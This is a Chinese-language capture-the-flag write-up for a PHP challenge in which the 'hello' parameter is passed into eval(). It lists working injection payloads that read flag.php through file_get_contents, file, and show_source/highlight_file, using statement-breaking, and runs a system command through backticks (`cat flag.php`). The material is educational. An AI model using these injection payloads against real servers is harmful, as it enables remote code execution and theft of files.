访问题目网址,可获得源码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
代码审计
-
获取hello的值,并使用
var_dump()
函数输出 -
使用代码基本与爆破1相同,区别在于此题没有进行字符串检查,亦未使用可变变量。
寻找flag思路
-
按照爆破1的思路,提交
hello=$GLOBALS
,发现变量中flag="Too Young Too Simple"
,受到嘲讽。 -
变量中没有flag,那么猜测flag应该暗藏在flag.php的源码中,需要想办法输出flag.php的源码。可通过函数
eval( "var_dump($a);");
输出flag.php的源码
方法
-
file_get contents()
函数
file_get_contents()
函数把整个文件读入一个字符串中
构造hello=file_get_contents('flag.php')
,查看源码即可获得flag。 -
file()
函数
file()
函数与file_get_contents()
类似,不同的是file()
将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内
构造hello=file('flag.php')
,即可得到flag。 -
show_source()
函数
show_source()
函数对文件进行高亮显示,本函数是highlight_file()
的别名。
注意:通过该函数在对eval()进行截断重组时,要保持eval()函数内php代码的正确性。本例中使用echo(1
来补全代码,也可使用//
注释掉多余的代码。
构造:hello=1);show_source('flag.php');echo(1
或hello=1);highlight_file('flag.php');echo(1
eval语句为:eval( "var_dump(1);show_source('flag.php');echo(1);");
,可得flag。 -
通过Linux命令读取
本着多掌握几种方法的目的,看了大佬的wp才想到这个。感觉应该就是Linux。方法同上,还是在构造过程中注意保持eval()函数内php代码的正确性。由于本题没有过滤,所以通过测试,cat、tac、more、less、head、tail都可以使用,仅使用cat举例。
构造:hello=1);echo `cat flag.php`; echo(1
,查看源代码即可获得flag。
此处反引号`内代码可用于在php代码中执行系统命令,也可用system()函数代替,exec因为没有回显,暂时不知道可否代替。
================================================================